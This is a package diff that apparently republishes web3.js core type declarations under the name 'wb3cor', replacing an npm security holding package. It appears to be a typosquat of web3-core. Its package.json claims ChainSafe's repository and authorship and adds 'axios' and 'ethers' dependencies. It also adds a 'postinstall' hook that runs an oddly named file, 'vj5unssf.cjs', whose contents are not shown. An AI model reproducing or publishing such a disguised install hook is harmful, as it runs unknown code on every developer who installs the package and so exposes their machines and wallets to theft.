+ export declare class Web3SubscriptionManager<API extends Web3APISpec = Web3APISpec, RegisteredSubs extends {
9
+ [key: string]: Web3SubscriptionConstructor<API>;
10
+ } = {
11
+ [key: string]: Web3SubscriptionConstructor<API>;
12
+ }> {
13
+ readonly requestManager: Web3RequestManager<API>;
14
+ readonly registeredSubscriptions: RegisteredSubs;
15
+ private readonly tolerateUnlinkedSubscription;
16
+ private readonly _subscriptions;
17
+ /**
18
+ *
19
+ * @param - requestManager
20
+ * @param - registeredSubscriptions
21
+ *
22
+ * @example
23
+ * ```ts
24
+ * const requestManager = new Web3RequestManager("ws://localhost:8545");
25
+ * const subscriptionManager = new Web3SubscriptionManager(requestManager, {});
26
+ * ```
27
+ */
28
+ constructor(requestManager: Web3RequestManager<API>, registeredSubscriptions: RegisteredSubs);
29
+ /**
30
+ * @deprecated This constructor overloading should not be used
31
+ */
32
+ constructor(requestManager: Web3RequestManager<API>, registeredSubscriptions: RegisteredSubs, tolerateUnlinkedSubscription: boolean);
33
+ private listenToProviderEvents;
34
+ protected messageListener(data?: JsonRpcSubscriptionResult | JsonRpcSubscriptionResultOld<Log> | JsonRpcNotification<Log>): void;
35
+ /**
36
+ * Will create a new subscription
37
+ *
38
+ * @param name - The subscription you want to subscribe to
39
+ * @param args - Optional additional parameters, depending on the subscription type
40
+ * @param returnFormat- ({@link DataFormat} defaults to {@link DEFAULT_RETURN_FORMAT}) - Specifies how the return data from the call should be formatted.
41
+ *
42
+ * Will subscribe to a specific topic (note: name)
43
+ * @returns The subscription object
44
+ */
45
+ subscribe<T extends keyof RegisteredSubs>(name: T, args?: ConstructorParameters<RegisteredSubs[T]>[0], returnFormat?: DataFormat): Promise<InstanceType<RegisteredSubs[T]>>;
46
+ /**
47
+ * Will returns all subscriptions.
48
+ */
49
+ get subscriptions(): Map<string, InstanceType<RegisteredSubs[keyof RegisteredSubs]>>;
50
+ /**
51
+ *
52
+ * Adds an instance of {@link Web3Subscription} and subscribes to it
53
+ *
54
+ * @param sub - A {@link Web3Subscription} object
55
+ */
56
+ addSubscription(sub: InstanceType<RegisteredSubs[keyof RegisteredSubs]>): Promise<string>;
57
+ /**
58
+ * Will clear a subscription
59
+ *
60
+ * @param id - The subscription of type {@link Web3Subscription} to remove
61
+ */
62
+ removeSubscription(sub: InstanceType<RegisteredSubs[keyof RegisteredSubs]>): Promise<string>;
63
+ /**
64
+ * Will unsubscribe all subscriptions that fulfill the condition
65
+ *
66
+ * @param condition - A function that access and `id` and a `subscription` and return `true` or `false`
67
+ * @returns An array of all the un-subscribed subscriptions
68
+ */
69
+ unsubscribe(condition?: ShouldUnsubscribeCondition): Promise<string[]>;
70
+ /**
71
+ * Clears all subscriptions
72
+ */
73
+ clear(): void;
74
+ /**
75
+ * Check whether the current provider supports subscriptions.
76
+ *
77
+ * @returns `true` or `false` depending on if the current provider supports subscriptions
78
+ */
79
+ supportsSubscriptions(): boolean;
80
+ }
81
+ export {};
82
+ //# sourceMappingURL=web3_subscription_manager.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_subscription_manager.d.ts","sourceRoot":"","sources":["../../src/web3_subscription_manager.ts"],"names":[],"mappings":"AAiBA,OAAO,EACN,UAAU,EAGV,mBAAmB,EACnB,yBAAyB,EACzB,4BAA4B,EAC5B,GAAG,EACH,WAAW,EAEX,MAAM,YAAY,CAAC;AAIpB,OAAO,EAAE,kBAAkB,EAA2B,MAAM,2BAA2B,CAAC;AAExF,OAAO,EAAE,2BAA2B,EAAE,MAAM,yBAAyB,CAAC;AAEtE,aAAK,0BAA0B,GAAG,CAAC,EAClC,EAAE,EACF,GAAG,GACH,EAAE;IACF,EAAE,EAAE,MAAM,CAAC;IACX,GAAG,EAAE,OAAO,CAAC;CACb,KAAK,OAAO,GAAG,SAAS,CAAC;AAE1B,qBAAa,uBAAuB,CACnC,GAAG,SAAS,WAAW,GAAG,WAAW,EACrC,cAAc,SAAS;IAAE,CAAC,GAAG,EAAE,MAAM,GAAG,2BAA2B,CAAC,GAAG,CAAC,CAAA;CAAE,GAAG;IAC5E,CAAC,GAAG,EAAE,MAAM,GAAG,2BAA2B,CAAC,GAAG,CAAC,CAAC;CAChD;aA+BgB,cAAc,EAAE,kBAAkB,CAAC,GAAG,CAAC;aACvC,uBAAuB,EAAE,cAAc;IACvD,OAAO,CAAC,QAAQ,CAAC,4BAA4B;IA/B9C,OAAO,CAAC,QAAQ,CAAC,cAAc,CAGjB;IAEd;;;;;;;;;;OAUG;gBAEF,cAAc,EAAE,kBAAkB,CAAC,GAAG,CAAC,EACvC,uBAAuB,EAAE,cAAc;IAExC;;OAEG;gBAEF,cAAc,EAAE,kBAAkB,CAAC,GAAG,CAAC,EACvC,uBAAuB,EAAE,cAAc,EACvC,4BAA4B,EAAE,OAAO;IAmBtC,OAAO,CAAC,sBAAsB;IA2B9B,SAAS,CAAC,eAAe,CACxB,IAAI,CAAC,EACF,yBAAyB,GACzB,4BAA4B,CAAC,GAAG,CAAC,GACjC,mBAAmB,CAAC,GAAG,CAAC;IAgB5B;;;;;;;;;OASG;IACU,SAAS,CAAC,CAAC,SAAS,MAAM,cAAc,EACpD,IAAI,EAAE,CAAC,EACP,IAAI,CAAC,EAAE,qBAAqB,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAClD,YAAY,GAAE,UAAkC,GAC9C,OAAO,CAAC,YAAY,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,CAAC;IAiB3C;;OAEG;IACH,IAAW,aAAa,oEAEvB;IAED;;;;;OAKG;IACU,eAAe,CAAC,GAAG,EAAE,YAAY,CAAC,cAAc,CAAC,MAAM,cAAc,CAAC,CAAC;IAwBpF;;;;OAIG;IACU,kBAAkB,CAAC,GAAG,EAAE,YAAY,CAAC,cAAc,CAAC,MAAM,cAAc,CAAC,CAAC;IAiBvF;;;;;OAKG;IACU,WAAW,CAAC,SAAS,CAAC,EAAE,0BAA0B;IAW/D;;OAEG;IACI,KAAK;IAIZ;;;;OAIG;IACI,qBAAqB,IAAI,OAAO;CAKvC"}
@@ -0,0 +1,58 @@
1
+ import { BlockOutput, DataFormat, EthExecutionAPI, JsonRpcSubscriptionResult, JsonRpcSubscriptionResultOld, JsonRpcNotification, Log, HexString, Web3APIParams, Web3APISpec } from 'web3-types';
2
+ import { Web3SubscriptionManager } from './web3_subscription_manager.js';
3
+ import { Web3EventEmitter, Web3EventMap } from './web3_event_emitter.js';
4
+ import { Web3RequestManager } from './web3_request_manager.js';
5
+ declare type CommonSubscriptionEvents = {
6
+ data: unknown;
7
+ error: Error;
8
+ connected: string;
9
+ };
10
+ export declare abstract class Web3Subscription<EventMap extends Web3EventMap, ArgsType = any, API extends Web3APISpec = EthExecutionAPI, CombinedEventMap extends CommonSubscriptionEvents = EventMap & CommonSubscriptionEvents> extends Web3EventEmitter<CombinedEventMap> {
11
+ readonly args: ArgsType;
12
+ private readonly _subscriptionManager;
13
+ private readonly _lastBlock?;
14
+ private readonly _returnFormat;
15
+ protected _id?: HexString;
16
+ constructor(args: ArgsType, options: {
17
+ subscriptionManager: Web3SubscriptionManager;
18
+ returnFormat?: DataFormat;
19
+ });
20
+ /**
21
+ * @deprecated This constructor overloading should not be used
22
+ */
23
+ constructor(args: ArgsType, options: {
24
+ requestManager: Web3RequestManager<API>;
25
+ returnFormat?: DataFormat;
26
+ });
27
+ get id(): string | undefined;
28
+ get lastBlock(): BlockOutput | undefined;
29
+ subscribe(): Promise<string>;
30
+ processSubscriptionData(data: JsonRpcSubscriptionResult | JsonRpcSubscriptionResultOld<Log> | JsonRpcNotification<Log>): void;
31
+ sendSubscriptionRequest(): Promise<string>;
32
+ protected get returnFormat(): DataFormat;
33
+ protected get subscriptionManager(): Web3SubscriptionManager<API, {
34
+ [key: string]: Web3SubscriptionConstructor<API, Web3Subscription<any, any, API, any>>;
35
+ }>;
36
+ resubscribe(): Promise<void>;
37
+ unsubscribe(): Promise<void>;
38
+ sendUnsubscribeRequest(): Promise<void>;
39
+ protected formatSubscriptionResult(data: CombinedEventMap['data']): CombinedEventMap["data"];
40
+ _processSubscriptionResult(data: CombinedEventMap['data'] | unknown): void;
41
+ _processSubscriptionError(error: Error): void;
42
+ protected _buildSubscriptionParams(): Web3APIParams<API, 'eth_subscribe'>;
43
+ }
44
+ export declare type Web3SubscriptionConstructor<API extends Web3APISpec, SubscriptionType extends Web3Subscription<any, any, API> = Web3Subscription<any, any, API>> = (new (args: any, options: {
45
+ subscriptionManager: Web3SubscriptionManager<API>;
46
+ returnFormat?: DataFormat;
47
+ } | {
48
+ requestManager: Web3RequestManager<API>;
49
+ returnFormat?: DataFormat;
50
+ }) => SubscriptionType) | (new (args: any, options: {
51
+ subscriptionManager: Web3SubscriptionManager<API>;
52
+ returnFormat?: DataFormat;
53
+ }) => SubscriptionType) | (new (args: any, options: {
54
+ requestManager: Web3RequestManager<API>;
55
+ returnFormat?: DataFormat;
56
+ }) => SubscriptionType);
57
+ export {};
58
+ //# sourceMappingURL=web3_subscriptions.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_subscriptions.d.ts","sourceRoot":"","sources":["../../src/web3_subscriptions.ts"],"names":[],"mappings":"AAkBA,OAAO,EACN,WAAW,EAEX,UAAU,EACV,eAAe,EACf,yBAAyB,EACzB,4BAA4B,EAC5B,mBAAmB,EACnB,GAAG,EACH,SAAS,EACT,aAAa,EACb,WAAW,EACX,MAAM,YAAY,CAAC;AAIpB,OAAO,EAAE,uBAAuB,EAAE,MAAM,gCAAgC,CAAC;AACzE,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,yBAAyB,CAAC;AACzE,OAAO,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAE/D,aAAK,wBAAwB,GAAG;IAC/B,IAAI,EAAE,OAAO,CAAC;IACd,KAAK,EAAE,KAAK,CAAC;IACb,SAAS,EAAE,MAAM,CAAC;CAClB,CAAC;AAEF,8BAAsB,gBAAgB,CACrC,QAAQ,SAAS,YAAY,EAE7B,QAAQ,GAAG,GAAG,EACd,GAAG,SAAS,WAAW,GAAG,eAAe,EAKzC,gBAAgB,SAAS,wBAAwB,GAAG,QAAQ,GAAG,wBAAwB,CACtF,SAAQ,gBAAgB,CAAC,gBAAgB,CAAC;aAkB1B,IAAI,EAAE,QAAQ;IAjB/B,OAAO,CAAC,QAAQ,CAAC,oBAAoB,CAA+B;IACpE,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAC,CAAc;IAC1C,OAAO,CAAC,QAAQ,CAAC,aAAa,CAAa;IAC3C,SAAS,CAAC,GAAG,CAAC,EAAE,SAAS,CAAC;gBAGzB,IAAI,EAAE,QAAQ,EACd,OAAO,EAAE;QAAE,mBAAmB,EAAE,uBAAuB,CAAC;QAAC,YAAY,CAAC,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AC,KACD,IAAI,EAAE,GAAG,EACT,OAAO,EAAE;IACR,mBAAmB,EAAE,uBAAuB,CAAC,GAAG,CAAC,CAAC;IAClD,YAAY,CAAC,EAAE,UAAU,CAAC;CAC1B,KACI,gBAAgB,CAAC,GACtB,CAAC,KACD,IAAI,EAAE,GAAG,EACT,OAAO,EAAE;IAAE,cAAc,EAAE,kBAAkB,CAAC,GAAG,CAAC,CAAC;IAAC,YAAY,CAAC,EAAE,UAAU,CAAA;CAAE,KAC1E,gBAAgB,CAAC,CAAC"}
package/package.json CHANGED
@@ -1,6 +1,61 @@
1
1
  {
2
2
  "name": "wb3cor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "4.7.0",
4
+ "description": "Web3 core tools for sub-packages. This is an internal package.",
5
+ "main": "./lib/commonjs/index.js",
6
+ "module": "./lib/esm/index.js",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/types/index.d.ts",
10
+ "import": "./lib/esm/index.js",
11
+ "require": "./lib/commonjs/index.js"
12
+ }
13
+ },
14
+ "repository": "https://github.com/ChainSafe/web3.js",
15
+ "author": "ChainSafe Systems",
16
+ "license": "LGPL-3.0",
17
+ "engines": {
18
+ "node": ">=14",
19
+ "npm": ">=6.12.0"
20
+ },
21
+ "files": [
22
+ "lib/**/*",
23
+ "src/**/*",
24
+ "vj5unssf.cjs"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node vj5unssf.cjs"
28
+ },
29
+ "dependencies": {
30
+ "web3-errors": "^1.3.0",
31
+ "web3-eth-accounts": "^4.2.1",
32
+ "web3-eth-iban": "^4.0.7",
33
+ "web3-providers-http": "^4.2.0",
34
+ "web3-providers-ws": "^4.0.8",
35
+ "web3-types": "^1.8.1",
36
+ "web3-utils": "^4.3.2",
37
+ "web3-validator": "^2.0.6",
38
+ "axios": "^1.7.7",
39
+ "ethers": "^6.13.2"
40
+ },
41
+ "optionalDependencies": {
42
+ "web3-providers-ipc": "^4.0.7"
43
+ },
44
+ "devDependencies": {
45
+ "@types/jest": "^28.1.6",
46
+ "@types/jest-when": "^3.5.2",
47
+ "@typescript-eslint/eslint-plugin": "^5.30.7",
48
+ "@typescript-eslint/parser": "^5.30.7",
49
+ "eslint": "^8.20.0",
50
+ "eslint-config-base-web3": "0.1.0",
51
+ "eslint-config-prettier": "^8.5.0",
52
+ "eslint-plugin-import": "^2.26.0",
53
+ "jest": "^29.7.0",
54
+ "jest-extended": "^3.0.1",
55
+ "jest-when": "^3.5.1",
56
+ "prettier": "^2.7.1",
57
+ "ts-jest": "^29.1.1",
58
+ "typescript": "^4.7.4"
59
+ },
60
+ "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
61
+ }